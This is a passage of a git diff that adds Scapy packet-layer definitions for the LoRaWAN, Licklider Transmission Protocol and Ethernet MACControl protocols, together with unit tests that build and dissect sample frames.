[RXTimingSetupReq_Settings] + + +class RXTimingSetupAns(Packet): + name = "RXTimingSetupAns" + fields_desc = [] + + +# Specific commands for LoRa 1.1 here + +MaxEIRPs = {0: "8 dbm", + 1: "10 dbm", + 2: "12 dbm", + 3: "13 dbm", + 4: "14 dbm", + 5: "16 dbm", + 6: "18 dbm", + 7: "20 dbm", + 8: "21 dbm", + 9: "24 dbm", + 10: "26 dbm", + 11: "27 dbm", + 12: "29 dbm", + 13: "30 dbm", + 14: "33 dbm", + 15: "36 dbm"} + + +DwellTimes = {0: "No limit", + 1: "400 ms"} + + +class EIRP_DwellTime(Packet): + name = "EIRP_DwellTime" + fields_desc = [BitField("RFU", 0b0, 2), + BitEnumField("DownlinkDwellTime", 0b0, 1, DwellTimes), + BitEnumField("UplinkDwellTime", 0b0, 1, DwellTimes), + BitEnumField("MaxEIRP", 0b0000, 4, MaxEIRPs)] + + +class TxParamSetupReq(Packet): + name = "TxParamSetupReq" + fields_desc = [EIRP_DwellTime] + + +class TxParamSetupAns(Packet): + name = "TxParamSetupAns" + fields_desc = [] + + +class DlChannelReq(Packet): + name = "DlChannelReq" + fields_desc = [ByteField("ChIndex", 0), + X3BytesField("Freq", 0)] + + +class DlChannelAns(Packet): + name = "DlChannelAns" + fields_desc = [ByteField("Status", 0)] + + +class DevLoraWANversion(Packet): + name = "DevLoraWANversion" + fields_desc = [BitField("RFU", 0b0000, 4), + BitField("Minor", 0b0001, 4)] + + +class RekeyInd(Packet): + name = "RekeyInd" + fields_desc = [PacketListField("LoRaWANversion", b"", + DevLoraWANversion, length_from=lambda pkt:1)] + + +class RekeyConf(Packet): + name = "RekeyConf" + fields_desc = [ByteField("ServerVersion", 0)] + + +class ADRparam(Packet): + name = "ADRparam" + fields_desc = [BitField("Limit_exp", 0b0000, 4), + BitField("Delay_exp", 0b0000, 4)] + + +class ADRParamSetupReq(Packet): + name = "ADRParamSetupReq" + fields_desc = [ADRparam] + + +class ADRParamSetupAns(Packet): + name = "ADRParamSetupReq" + fields_desc = [] + + +class DeviceTimeReq(Packet): + name = "DeviceTimeReq" + fields_desc = [] + + +class DeviceTimeAns(Packet): + name = "DeviceTimeAns" + fields_desc = [IntField("SecondsSinceEpoch", 0), + ByteField("FracSecond", 0x00)] + + +class ForceRejoinReq(Packet): + name = "ForceRejoinReq" + fields_desc = [BitField("RFU", 0, 2), + BitField("Period", 0, 3), + BitField("Max_Retries", 0, 3), + BitField("RFU", 0, 1), + BitField("RejoinType", 0, 3), + BitField("DR", 0, 4)] + + +class RejoinParamSetupReq(Packet): + name = "RejoinParamSetupReq" + fields_desc = [BitField("MaxTimeN", 0, 4), + BitField("MaxCountN", 0, 4)] + + +class RejoinParamSetupAns(Packet): + name = "RejoinParamSetupAns" + fields_desc = [BitField("RFU", 0, 7), + BitField("TimeOK", 0, 1)] + + +# End of specific 1.1 commands + + +class MACCommand_up(Packet): + name = "MACCommand_up" + fields_desc = [ByteEnumField("CID", 0, CIDs_up), + ConditionalField(PacketListField("Reset", b"", + ResetInd, + length_from=lambda pkt:1), + lambda pkt:(pkt.CID == 0x01)), + ConditionalField(PacketListField("LinkCheck", b"", + LinkCheckReq, + length_from=lambda pkt:0), + lambda pkt:(pkt.CID == 0x02)), + ConditionalField(PacketListField("LinkADR", b"", + LinkADRReq, + length_from=lambda pkt:4), + lambda pkt:(pkt.CID == 0x03)), + ConditionalField(PacketListField("DutyCycle", b"", + DutyCycleReq, + length_from=lambda pkt:4), + lambda pkt:(pkt.CID == 0x04)), + ConditionalField(PacketListField("RXParamSetup", b"", + RXParamSetupReq, + length_from=lambda pkt:4), + lambda pkt:(pkt.CID == 0x05)), + ConditionalField(PacketListField("DevStatus", b"", + DevStatusReq, + length_from=lambda pkt:2), + lambda pkt:(pkt.CID == 0x06)), + ConditionalField(PacketListField("NewChannel", b"", + NewChannelReq, + length_from=lambda pkt:5), + lambda pkt:(pkt.CID == 0x07)), + ConditionalField(PacketListField("RXTimingSetup", b"", + RXTimingSetupReq, + length_from=lambda pkt:1), + lambda pkt:(pkt.CID == 0x08)), + # specific to 1.1 from here + ConditionalField(PacketListField("TxParamSetup", b"", + TxParamSetupReq, + length_from=lambda pkt:1), + lambda pkt:(pkt.CID == 0x09)), + ConditionalField(PacketListField("DlChannel", b"", + DlChannelReq, + length_from=lambda pkt:4), + lambda pkt:(pkt.CID == 0x0A)), + ConditionalField(PacketListField("Rekey", b"", + RekeyInd, + length_from=lambda pkt:1), + lambda pkt:(pkt.CID == 0x0B)), + ConditionalField(PacketListField("ADRParamSetup", b"", + ADRParamSetupReq, + length_from=lambda pkt:1), + lambda pkt:(pkt.CID == 0x0C)), + ConditionalField(PacketListField("DeviceTime", b"", + DeviceTimeReq, + length_from=lambda pkt:0), + lambda pkt:(pkt.CID == 0x0D)), + ConditionalField(PacketListField("ForceRejoin", b"", + ForceRejoinReq, + length_from=lambda pkt:2), + lambda pkt:(pkt.CID == 0x0E)), + ConditionalField(PacketListField("RejoinParamSetup", b"", + RejoinParamSetupReq, + length_from=lambda pkt:1), + lambda pkt:(pkt.CID == 0x0F))] + + # pylint: disable=R0201 + def extract_padding(self, p): + return "", p + + +class MACCommand_down(Packet): + name = "MACCommand_down" + fields_desc = [ByteEnumField("CID", 0, CIDs_up), + ConditionalField(PacketListField("Reset", b"", + ResetConf, + length_from=lambda pkt:1), + lambda pkt:(pkt.CID == 0x01)), + ConditionalField(PacketListField("LinkCheck", b"", + LinkCheckAns, + length_from=lambda pkt:2), + lambda pkt:(pkt.CID == 0x02)), + ConditionalField(PacketListField("LinkADR", b"", + LinkADRAns, + length_from=lambda pkt:0), + lambda pkt:(pkt.CID == 0x03)), + ConditionalField(PacketListField("DutyCycle", b"", + DutyCycleAns, + length_from=lambda pkt:4), + lambda pkt:(pkt.CID == 0x04)), + ConditionalField(PacketListField("RXParamSetup", b"", + RXParamSetupAns, + length_from=lambda pkt:1), + lambda pkt:(pkt.CID == 0x05)), + ConditionalField(PacketListField("DevStatusAns", b"", + RXParamSetupAns, + length_from=lambda pkt:1), + lambda pkt:(pkt.CID == 0x06)), + ConditionalField(PacketListField("NewChannel", b"", + NewChannelAns, + length_from=lambda pkt:1), + lambda pkt:(pkt.CID == 0x07)), + ConditionalField(PacketListField("RXTimingSetup", b"", + RXTimingSetupAns, + length_from=lambda pkt:0), + lambda pkt:(pkt.CID == 0x08)), + ConditionalField(PacketListField("TxParamSetup", b"", + TxParamSetupAns, + length_from=lambda pkt:0), + lambda pkt:(pkt.CID == 0x09)), + ConditionalField(PacketListField("DlChannel", b"", + DlChannelAns, + length_from=lambda pkt:1), + lambda pkt:(pkt.CID == 0x0A)), + ConditionalField(PacketListField("Rekey", b"", + RekeyConf, + length_from=lambda pkt:1), + lambda pkt:(pkt.CID == 0x0B)), + ConditionalField(PacketListField("ADRParamSetup", b"", + ADRParamSetupAns, + length_from=lambda pkt:0), + lambda pkt:(pkt.CID == 0x0C)), + ConditionalField(PacketListField("DeviceTime", b"", + DeviceTimeAns, + length_from=lambda pkt:5), + lambda pkt:(pkt.CID == 0x0D)), + ConditionalField(PacketListField("RejoinParamSetup", b"", + RejoinParamSetupAns, + length_from=lambda pkt:1), + lambda pkt:(pkt.CID == 0x0F))] + + +class FOpts(Packet): + name = "FOpts" + fields_desc = [ConditionalField(PacketListField("FOpts_up", b"", + # UL piggy MAC Command + MACCommand_up, + length_from=lambda pkt:pkt.FCtrl[0].FOptsLen), # noqa: E501 + lambda pkt:(pkt.FCtrl[0].FOptsLen > 0 and + pkt.MType & 0b1 == 0 and + pkt.MType >= 0b010)), + ConditionalField(PacketListField("FOpts_down", b"", + # DL piggy MAC Command + MACCommand_down, + length_from=lambda pkt:pkt.FCtrl[0].FOptsLen), # noqa: E501 + lambda pkt:(pkt.FCtrl[0].FOptsLen > 0 and + pkt.MType & 0b1 == 1 and + pkt.MType <= 0b101))] + + +def FOptsDownShow(pkt): + try: + if pkt.FCtrl[0].FOptsLen > 0 and pkt.MType & 0b1 == 1 and pkt.MType <= 0b101: # noqa: E501 + return True + return False + except Exception: + return False + + +def FOptsUpShow(pkt): + try: + if pkt.FCtrl[0].FOptsLen > 0 and pkt.MType & 0b1 == 0 and pkt.MType >= 0b010: # noqa: E501 + return True + return False + except Exception: + return False + + +class FHDR(Packet): + name = "FHDR" + fields_desc = [ConditionalField(PacketListField("DevAddr", b"", DevAddrElem, # noqa: E501 + length_from=lambda pkt:4), + lambda pkt:(pkt.MType >= 0b010 and + pkt.MType <= 0b101)), + ConditionalField(PacketListField("FCtrl", b"", + FCtrl_DownLink, + length_from=lambda pkt:1), + lambda pkt:(pkt.MType & 0b1 == 1 and + pkt.MType <= 0b101)), + ConditionalField(PacketListField("FCtrl", b"", + FCtrl_UpLink, + length_from=lambda pkt:1), + lambda pkt:(pkt.MType & 0b1 == 0 and + pkt.MType >= 0b010)), + ConditionalField(LEShortField("FCnt", 0), + lambda pkt:(pkt.MType >= 0b010 and + pkt.MType <= 0b101)), + ConditionalField(PacketListField("FOpts_up", b"", + MACCommand_up, + length_from=lambda pkt:pkt.FCtrl[0].FOptsLen), # noqa: E501 + FOptsUpShow), + ConditionalField(PacketListField("FOpts_down", b"", + MACCommand_down, + length_from=lambda pkt:pkt.FCtrl[0].FOptsLen), # noqa: E501 + FOptsDownShow)] + + +FPorts = {0: "NwkSKey"} # anything else is AppSKey + + +JoinReqTypes = {0xFF: "Join-request", + 0x00: "Rejoin-request type 0", + 0x01: "Rejoin-request type 1", + 0x02: "Rejoin-request type 2"} + + +class Join_Request(Packet): + name = "Join_Request" + fields_desc = [StrFixedLenField("AppEUI", b"\x00" * 8, 8), + StrFixedLenField("DevEUI", b"\00" * 8, 8), + LEShortField("DevNonce", 0x0000)] + + +class Join_Accept(Packet): + name = "Join_Accept" + dcflist = False + fields_desc = [LEX3BytesField("JoinAppNonce", 0), + LEX3BytesField("NetID", 0), + XLEIntField("DevAddr", 0), + DLsettings, + XByteField("RxDelay", 0), + ConditionalField(StrFixedLenField("CFList", b"\x00" * 16, 16), # noqa: E501 + lambda pkt:(Join_Accept.dcflist is True))] + + # pylint: disable=R0201 + def extract_padding(self, p): + return "", p + + def __init__(self, packet=""): # CFList calculated with rest of packet len + if len(packet) > 18: + Join_Accept.dcflist = True + super(Join_Accept, self).__init__(packet) + + +RejoinType = {0: "NetID+DevEUI", + 1: "JoinEUI+DevEUI", + 2: "NetID+DevEUI"} + + +class RejoinReq(Packet): # LoRa 1.1 specs + name = "RejoinReq" + fields_desc = [ByteField("Type", 0), + X3BytesField("NetID", 0), + StrFixedLenField("DevEUI", b"\x00" * 8), + XShortField("RJcount0", 0)] + + +class FRMPayload(Packet): + name = "FRMPayload" + fields_desc = [ConditionalField(StrField("DataPayload", "", remain=4), # Downlink # noqa: E501 + lambda pkt:(pkt.MType == 0b101 or + pkt.MType == 0b011)), + ConditionalField(StrField("DataPayload", "", remain=6), # Uplink # noqa: E501 + lambda pkt:(pkt.MType == 0b100 or + pkt.MType == 0b010)), + ConditionalField(PacketListField("Join_Request_Field", b"", + Join_Request, + length_from=lambda pkt:18), + lambda pkt:(pkt.MType == 0b000)), + ConditionalField(PacketListField("Join_Accept_Field", b"", + Join_Accept, + count_from=lambda pkt:1), + lambda pkt:(pkt.MType == 0b001 and + LoRa.encrypted is False)), + ConditionalField(StrField("Join_Accept_Encrypted", 0), + lambda pkt:(pkt.MType == 0b001 and LoRa.encrypted is True)), # noqa: E501 + ConditionalField(PacketListField("ReJoin_Request_Field", b"", # noqa: E501 + RejoinReq, + length_from=lambda pkt:14), + lambda pkt:(pkt.MType == 0b111))] + + +class MACPayload(Packet): + name = "MACPayload" + eFPort = False + fields_desc = [FHDR, + ConditionalField(ByteEnumField("FPort", 0, FPorts), + lambda pkt:(pkt.MType >= 0b010 and + pkt.MType <= 0b101 and + pkt.FCtrl[0].FOptsLen == 0)), + FRMPayload] + + +MTypes = {0b000: "Join-request", + 0b001: "Join-accept", + 0b010: "Unconfirmed Data Up", + 0b011: "Unconfirmed Data Down", + 0b100: "Confirmed Data Up", + 0b101: "Confirmed Data Down", + 0b110: "Rejoin-request", # Only in LoRa 1.1 specs + 0b111: "Proprietary"} + + +class MHDR(Packet): # Same for 1.0 as for 1.1 + name = "MHDR" + fields_desc = [BitEnumField("MType", 0b000, 3, MTypes), + BitField("RFU", 0b000, 3), + BitField("Major", 0b00, 2)] + + +class PHYPayload(Packet): + name = "PHYPayload" + fields_desc = [MHDR, + MACPayload, + ConditionalField(XIntField("MIC", 0), + lambda pkt:(pkt.MType != 0b001 or + LoRa.encrypted is False))] + + +class LoRa(Packet): # default frame (unclear specs => taken from https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5677147/) # noqa: E501 + name = "LoRa" + version = "1.1" # default version to parse + encrypted = True + fields_desc = [XBitField("Preamble", 0, 4), + XBitField("PHDR", 0, 16), + XBitField("PHDR_CRC", 0, 4), + PHYPayload, + ConditionalField(XShortField("CRC", 0), + lambda pkt:(pkt.MType & 0b1 == 0))] diff --git a/libs/scapy/contrib/ltp.py b/libs/scapy/contrib/ltp.py new file mode 100755 index 0000000..74715fd --- /dev/null +++ b/libs/scapy/contrib/ltp.py @@ -0,0 +1,202 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +""" + Copyright 2012, The MITRE Corporation:: + + NOTICE + This software/technical data was produced for the U.S. Government + under Prime Contract No. NASA-03001 and JPL Contract No. 1295026 + and is subject to FAR 52.227-14 (6/87) Rights in Data General, + and Article GP-51, Rights in Data General, respectively. + This software is publicly released under MITRE case #12-3054 +""" + +# scapy.contrib.description = Licklider Transmission Protocol (LTP) +# scapy.contrib.status = loads + +import scapy.modules.six as six +from scapy.packet import Packet, bind_layers, bind_top_down +from scapy.fields import BitEnumField, BitField, BitFieldLenField, \ + ByteEnumField, ConditionalField, PacketListField, StrLenField +from scapy.layers.inet import UDP +from scapy.config import conf +from scapy.contrib.sdnv import SDNV2, SDNV2FieldLenField + +# LTP https://tools.ietf.org/html/rfc5326 + +_ltp_flag_vals = { + 0: '0x0 Red data, NOT (Checkpoint, EORP or EOB)', + 1: '0x1 Red data, Checkpoint, NOT (EORP or EOB)', + 2: '0x2 Red data, Checkpoint, EORP, NOT EOB', + 3: '0x3 Red data, Checkpoint, EORP, EOB', + 4: '0x4 Green data, NOT EOB', + 5: '0x5 Green data, undefined', + 6: '0x6 Green data, undefined', + 7: '0x7 Green data, EOB', + 8: '0x8 Report segment', + 9: '0x9 Report-acknowledgment segmen', + 10: '0xA Control segment, undefined', + 11: '0xB Control segment, undefined', + 12: '0xC Cancel segment from block sender', + 13: '0xD Cancel-acknowledgment segment to block sender', + 14: '0xE Cancel segment from block receiver', + 15: '0xF Cancel-acknowledgment segment to block receiver'} + +_ltp_cancel_reasons = { + 0: 'USR_CNCLD - Client service canceled session.', + 1: 'UNREACH - Unreachable client service.', + 2: 'RLEXC - Retransmission limit exceeded.', + 3: 'MISCOLORED - Received miscolored segment.', + 4: 'SYS_CNCLD - System error condition.', + 5: 'RXMTCYCEXC - Exceeded the retransmission cycles limit.', + 6: 'RESERVED'} # Reserved 0x06-0xFF + +# LTP Extensions https://tools.ietf.org/html/rfc5327 + +_ltp_extension_tag = { + 0: 'LTP authentication extension', + 1: 'LTP cookie extension' +} + +_ltp_data_segment = [0, 1, 2, 3, 4, 5, 6, 7] +_ltp_checkpoint_segment = [1, 2, 3] + +_ltp_payload_conditions = {} + + +def ltp_bind_payload(cls, lambd): + """Bind payload class to the LTP packets. + + :param cls: the class to bind + :param lambd: lambda that will be called to check + whether or not the cls should be used + ex: lambda pkt: ... + """ + _ltp_payload_conditions[cls] = lambd + + +class LTPex(Packet): + name = "LTP Extension" + fields_desc = [ + ByteEnumField("ExTag", 0, _ltp_extension_tag), + SDNV2FieldLenField("ExLength", None, length_of="ExData"), + # SDNV2FieldLenField + StrLenField("ExData", "", length_from=lambda x: x.ExLength) + ] + + def default_payload_class(self, pay): + return conf.padding_layer + + +class LTPReceptionClaim(Packet): + name = "LTP Reception Claim" + fields_desc = [SDNV2("ReceptionClaimOffset", 0), + SDNV2("ReceptionClaimLength", 0)] + + def default_payload_class(self, pay): + return conf.padding_layer + + +def _ltp_guess_payload(pkt, *args): + for k, v in six.iteritems(_ltp_payload_conditions): + if v(pkt): + return k + return conf.raw_layer + + +class LTP(Packet): + name = "LTP" + fields_desc = [ + BitField('version', 0, 4), + BitEnumField('flags', 0, 4, _ltp_flag_vals), + SDNV2("SessionOriginator", 0), + SDNV2("SessionNumber", 0), + BitFieldLenField("HeaderExtensionCount", None, 4, count_of="HeaderExtensions"), # noqa: E501 + BitFieldLenField("TrailerExtensionCount", None, 4, count_of="TrailerExtensions"), # noqa: E501 + PacketListField("HeaderExtensions", [], LTPex, count_from=lambda x: x.HeaderExtensionCount), # noqa: E501 + # + # LTP segments containing data have a DATA header + # + ConditionalField(SDNV2("DATA_ClientServiceID", 0), + lambda x: x.flags in _ltp_data_segment), + ConditionalField(SDNV2("DATA_PayloadOffset", 0), + lambda x: x.flags in _ltp_data_segment), + ConditionalField(SDNV2FieldLenField("DATA_PayloadLength", None, length_of="LTP_Payload"), # noqa: E501 + lambda x: x.flags in _ltp_data_segment), + # + # LTP segments that are checkpoints will have a checkpoint serial number and report serial number. # noqa: E501 + # + ConditionalField(SDNV2("CheckpointSerialNo", 0), + lambda x: x.flags in _ltp_checkpoint_segment), + ConditionalField(SDNV2("ReportSerialNo", 0), + lambda x: x.flags in _ltp_checkpoint_segment), + # + # Then comes the actual payload for data carrying segments. + # + ConditionalField(PacketListField("LTP_Payload", None, next_cls_cb=_ltp_guess_payload, # noqa: E501 + length_from=lambda x: x.DATA_PayloadLength), # noqa: E501 + lambda x: x.flags in _ltp_data_segment), + # + # Report ACKS acknowledge a particular report serial number. + # + ConditionalField(SDNV2("RA_ReportSerialNo", 0), + lambda x: x.flags == 9), + # + # Reception reports have the following fields. + # + ConditionalField(SDNV2("ReportSerialNo", 0), + lambda x: x.flags == 8), + ConditionalField(SDNV2("ReportCheckpointSerialNo", 0), + lambda x: x.flags == 8), + ConditionalField(SDNV2("ReportUpperBound", 0), + lambda x: x.flags == 8), + ConditionalField(SDNV2("ReportLowerBound", 0), + lambda x: x.flags == 8), + ConditionalField(SDNV2FieldLenField("ReportReceptionClaimCount", None, count_of="ReportReceptionClaims"), # noqa: E501 + lambda x: x.flags == 8), + ConditionalField(PacketListField("ReportReceptionClaims", [], LTPReceptionClaim, # noqa: E501 + count_from=lambda x: x.ReportReceptionClaimCount), # noqa: E501 + lambda x: x.flags == 8 and (not x.ReportReceptionClaimCount or x.ReportReceptionClaimCount > 0)), # noqa: E501 + # + # Cancellation Requests + # + ConditionalField(ByteEnumField("CancelFromSenderReason", + 15, _ltp_cancel_reasons), + lambda x: x.flags == 12), + ConditionalField(ByteEnumField("CancelFromReceiverReason", + 15, _ltp_cancel_reasons), + lambda x: x.flags == 14), + # + # Cancellation Acknowldgements + # + ConditionalField(SDNV2("CancelAckToBlockSender", 0), + lambda x: x.flags == 13), + ConditionalField(SDNV2("CancelAckToBlockReceiver", 0), + lambda x: x.flags == 15), + # + # Finally, trailing extensions + # + PacketListField("TrailerExtensions", [], LTPex, count_from=lambda x: x.TrailerExtensionCount) # noqa: E501 + ] + + def mysummary(self): + return self.sprintf("LTP %SessionNumber%"), [UDP] + + +bind_top_down(UDP, LTP, sport=1113) +bind_top_down(UDP, LTP, dport=1113) +bind_top_down(UDP, LTP, sport=2113) +bind_top_down(UDP, LTP, dport=2113) +bind_layers(UDP, LTP, sport=1113, dport=1113) diff --git a/libs/scapy/contrib/ltp.uts b/libs/scapy/contrib/ltp.uts new file mode 100755 index 0000000..0366ad0 --- /dev/null +++ b/libs/scapy/contrib/ltp.uts @@ -0,0 +1,41 @@ +% Licklider Transmission Protocol tests + +############ +############ ++ Licklider Transmission Protocol (LTP) basic tests + +~ TODO: no pcap have been found on Internet. Check that scapy correctly decode those too + += Build packets & dissect + +load_contrib("ltp") +pkt = Ether(src="aa:aa:aa:aa:aa:aa", dst="bb:bb:bb:bb:bb:bb")/IP(src="192.168.0.1", dst="192.168.0.2")/UDP()/LTP(flags=8,\ + SessionOriginator=2, + SessionNumber=113, + ReportCheckpointSerialNo=12, + ReportUpperBound=0, + ReportLowerBound=5, + ReportReceptionClaims=[ + LTPReceptionClaim(ReceptionClaimOffset=1, ReceptionClaimLength=4), + LTPReceptionClaim(ReceptionClaimOffset=2, ReceptionClaimLength=3), + ], + HeaderExtensions=[ + LTPex(ExTag=1, ExData=b"\x00"), + ], + TrailerExtensions=[ + LTPex(ExTag=0, ExData=b"\x01"), + LTPex(ExTag=1, ExData=b"\x02"), + ]) + +pkt = Ether(raw(pkt)) +assert LTP in pkt +assert pkt[LTP].ReportLowerBound == 5 +assert pkt[LTP].ReportCheckpointSerialNo == 12 +assert pkt[LTP].ReportReceptionClaims[0].ReceptionClaimLength == 4 +assert pkt[LTP].ReportReceptionClaims[1].ReceptionClaimOffset == 2 +assert pkt[LTP].HeaderExtensions[0].ExTag == 1 +assert pkt[LTP].HeaderExtensions[0].ExData == b"\x00" + +s = pkt.summary() +s +assert s.replace("ltp_deepspace", "1113") == 'Ether / IP / UDP 192.168.0.1:1113 > 192.168.0.2:1113 / LTP 113' \ No newline at end of file diff --git a/libs/scapy/contrib/mac_control.py b/libs/scapy/contrib/mac_control.py new file mode 100755 index 0000000..15fdb9c --- /dev/null +++ b/libs/scapy/contrib/mac_control.py @@ -0,0 +1,251 @@ +# scapy.contrib.description = MACControl +# scapy.contrib.status = loads + +""" + MACControl + ~~~~~~~~~~ + + :author: Thomas Tannhaeuser, hecke@naberius.de + :license: GPLv2 + + This module is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This module is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + :description: + + This module provides Scapy layers for the MACControl protocol messages: + - Pause + - Gate + - Report + - Register/REQ/ACK + - Class Based Flow Control + + normative references: + - IEEE 802.3x + + + :NOTES: + - this is based on the MACControl dissector used by Wireshark + (https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-maccontrol.c) + +""" + +from scapy.compat import orb +from scapy.data import ETHER_TYPES +from scapy.error import Scapy_Exception +from scapy.fields import IntField, ByteField, ByteEnumField, ShortField, BitField # noqa: E501 +from scapy.layers.dot11 import Packet +from scapy.layers.l2 import Ether, Dot1Q, bind_layers + +MAC_CONTROL_ETHER_TYPE = 0x8808 +ETHER_TYPES['MAC_CONTROL'] = MAC_CONTROL_ETHER_TYPE + +ETHER_SPEED_MBIT_10 = 0x01 +ETHER_SPEED_MBIT_100 = 0x02 +ETHER_SPEED_MBIT_1000 = 0x04 + + +class MACControl(Packet): + DEFAULT_DST_MAC = "01:80:c2:00:00:01" + + OP_CODE_PAUSE = 0x0001 + OP_CODE_GATE = 0x0002 + OP_CODE_REPORT = 0x0003 + OP_CODE_REGISTER_REQ = 0x0004 + OP_CODE_REGISTER = 0x0005 + OP_CODE_REGISTER_ACK = 0x0006 + OP_CODE_CLASS_BASED_FLOW_CONTROL = 0x0101 + + OP_CODES = { + OP_CODE_PAUSE: 'pause', + OP_CODE_GATE: 'gate', + OP_CODE_REPORT: 'report', + OP_CODE_REGISTER_REQ: 'register req', + OP_CODE_REGISTER: 'register', + OP_CODE_REGISTER_ACK: 'register_ack', + OP_CODE_CLASS_BASED_FLOW_CONTROL: 'class based flow control' + } + + ''' + flags used by Register* messages + ''' + FLAG_REGISTER = 0x01 + FLAG_DEREGISTER = 0x02 + FLAG_ACK = 0x03 + FLAG_NACK = 0x04 + + REGISTER_FLAGS = { + FLAG_REGISTER: 'register', + FLAG_DEREGISTER: 'deregister', + FLAG_ACK: 'ack', + FLAG_NACK: 'nack' + } + + def guess_payload_class(self, payload): + + try: + op_code = (orb(payload[0]) << 8) + orb(payload[1]) + return MAC_CTRL_CLASSES[op_code] + except KeyError: + pass + + return Packet.guess_payload_class(self, payload) + + def _get_underlayers_size(self): + """ + get the total size of all under layers + :return: number of bytes + """ + + under_layer = self.underlayer + + under_layers_size = 0 + + while under_layer and isinstance(under_layer, Dot1Q): + under_layers_size += 4 + under_layer = under_layer.underlayer + + if under_layer and isinstance(under_layer, Ether): + # ether header len + FCS len + under_layers_size += 14 + 4 + + return under_layers_size + + def post_build(self, pkt, pay): + """ + add padding to the frame if required. + + note that padding is only added if pay is None/empty. this allows us to add # noqa: E501 + any payload after the MACControl* PDU if needed (piggybacking). + """ + + if not pay: + under_layers_size = self._get_underlayers_size() + + frame_size = (len(pkt) + under_layers_size) + + if frame_size < 64: + return pkt + b'\x00' * (64 - frame_size) + + return pkt + pay + + +class MACControlInvalidSpeedException(Scapy_Exception): + pass + + +class MACControlPause(MACControl): + fields_desc = [ + ShortField("_op_code", MACControl.OP_CODE_PAUSE), + ShortField("pause_time", 0), + ] + + def get_pause_time(self, speed=ETHER_SPEED_MBIT_1000): + """ + get pause time for given link speed in seconds + + :param speed: select link speed to get the pause time for, must be ETHER_SPEED_MBIT_[10,100,1000] # noqa: E501 + :return: pause time in seconds + :raises MACControlInvalidSpeedException: on invalid speed selector + """ + + try: + return self.pause_time * { + ETHER_SPEED_MBIT_10: (0.0000001 * 512), + ETHER_SPEED_MBIT_100: (0.00000001 * 512), + ETHER_SPEED_MBIT_1000: (0.000000001 * 512 * 2) + }[speed] + except KeyError: + raise MACControlInvalidSpeedException('Invalid speed selector given. ' # noqa: E501 + 'Must be one of ETHER_SPEED_MBIT_[10,100,1000]') # noqa: E501 + + +class MACControlGate(MACControl): + fields_desc = [ + ShortField("_op_code", MACControl.OP_CODE_GATE), + IntField("timestamp", 0) + ] + + +class MACControlReport(MACControl): + fields_desc = [ + ShortField("_op_code", MACControl.OP_CODE_REPORT), + IntField("timestamp", 0), + ByteEnumField('flags', 0, MACControl.REGISTER_FLAGS), + ByteField('pending_grants', 0) + ] + + +class MACControlRegisterReq(MACControl): + fields_desc = [ + ShortField("_op_code", MACControl.OP_CODE_REGISTER_REQ), + IntField("timestamp", 0), + ShortField('assigned_port', 0), + ByteEnumField('flags', 0, MACControl.REGISTER_FLAGS), + ShortField('sync_time', 0), + ByteField('echoed_pending_grants', 0) + ] + + +class MACControlRegister(MACControl): + fields_desc = [ + ShortField("_op_code", MACControl.OP_CODE_REGISTER), + IntField("timestamp", 0), + ByteEnumField('flags', 0, MACControl.REGISTER_FLAGS), + ShortField('echoed_assigned_port', 0), + ShortField('echoed_sync_time', 0) + ] + + +class MACControlRegisterAck(MACControl): + fields_desc = [ + ShortField("_op_code", MACControl.OP_CODE_REGISTER_ACK), + IntField("timestamp", 0), + ByteEnumField('flags', 0, MACControl.REGISTER_FLAGS), + ShortField('echoed_assigned_port', 0), + ShortField('echoed_sync_time', 0) + ] + + +class MACControlClassBasedFlowControl(MACControl): + fields_desc = [ + ShortField("_op_code", MACControl.OP_CODE_CLASS_BASED_FLOW_CONTROL), + ByteField("_reserved", 0), + BitField('c7_enabled', 0, 1), + BitField('c6_enabled', 0, 1), + BitField('c5_enabled', 0, 1), + BitField('c4_enabled', 0, 1), + BitField('c3_enabled', 0, 1), + BitField('c2_enabled', 0, 1), + BitField('c1_enabled', 0, 1), + BitField('c0_enabled', 0, 1), + ShortField('c0_pause_time', 0), + ShortField('c1_pause_time', 0), + ShortField('c2_pause_time', 0), + ShortField('c3_pause_time', 0), + ShortField('c4_pause_time', 0), + ShortField('c5_pause_time', 0), + ShortField('c6_pause_time', 0), + ShortField('c7_pause_time', 0) + ] + + +MAC_CTRL_CLASSES = { + MACControl.OP_CODE_PAUSE: MACControlPause, + MACControl.OP_CODE_GATE: MACControlGate, + MACControl.OP_CODE_REPORT: MACControlReport, + MACControl.OP_CODE_REGISTER_REQ: MACControlRegisterReq, + MACControl.OP_CODE_REGISTER: MACControlRegister, + MACControl.OP_CODE_REGISTER_ACK: MACControlRegisterAck, + MACControl.OP_CODE_CLASS_BASED_FLOW_CONTROL: MACControlClassBasedFlowControl # noqa: E501 +} + +bind_layers(Ether, MACControl, type=MAC_CONTROL_ETHER_TYPE) +bind_layers(Dot1Q, MACControl, type=MAC_CONTROL_ETHER_TYPE) diff --git a/libs/scapy/contrib/mac_control.uts b/libs/scapy/contrib/mac_control.uts new file mode 100755 index 0000000..9a60ff2 --- /dev/null +++ b/libs/scapy/contrib/mac_control.uts @@ -0,0 +1,149 @@ +% MACControl test campaign + +# +# execute test: +# $ test/run_tests -P "load_contrib('mac_control')" -t scapy/contrib/mac_control.uts +# + ++ Basic layer handling + += pause frame + +frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ + MACControlPause(pause_time=0x1234) + +frm = Ether(frm.do_build()) + +pause_layer = frm[MACControlPause] +assert(pause_layer.pause_time == 0x1234) +assert(pause_layer.get_pause_time(ETHER_SPEED_MBIT_10) == 0.238592) + += gate frame + +frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ + MACControlGate(timestamp=0x12345678) +frm = Ether(frm.do_build()) + +gate_layer = frm[MACControlGate] +assert(gate_layer.timestamp == 0x12345678) + += report frame + +frm = 